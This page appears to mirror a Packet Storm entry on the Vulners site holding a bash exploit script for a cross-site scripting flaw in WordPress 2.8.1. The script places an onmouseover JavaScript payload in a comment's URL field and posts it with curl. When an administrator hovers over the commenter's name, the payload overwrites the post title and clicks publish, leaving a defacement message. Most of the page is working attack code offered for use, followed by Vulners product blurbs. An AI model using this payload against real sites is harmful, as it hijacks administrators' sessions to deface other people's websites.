Lucene search
K

WordPress 2.8.1 Cross Site Scripting

🗓️ 24 Jul 2009 00:00:00Reported by superfreakaz0rzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

WordPress 2.8.1 Cross Site Scripting v2.8.1 bash script for comment XS

Code
`#!/bin/bash  
  
echo "wp281.quickprz // iso^kpsbr"  
  
SITE=$1  
COMMENT=$2  
MESSAGE="h4x0riZed by the superfreakaz0rz"  
  
if [ "X$SITE" = "X" ]; then  
echo "$0 <url> [postID]"  
echo "f.e. $0 www.worstpress.eu"  
exit  
fi  
  
if [ "X$POSTID" = "X" ]; then  
POSTID=1  
fi  
  
  
echo "[+] building payload"  
  
WHERE="title" # can also be 'content'  
PATH="$SITE/wp-comments-post.php"  
  
WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`  
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"  
echo "[-] payload is $EVILURL for '$MESSAGE'"  
  
EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`  
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`  
RNDDATA=`/bin/date +%S%s`;  
  
echo "[!] delivering data"  
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&[email protected]&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH  
  
echo "[X] all done. now wait for admin to mouse-over that name."  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation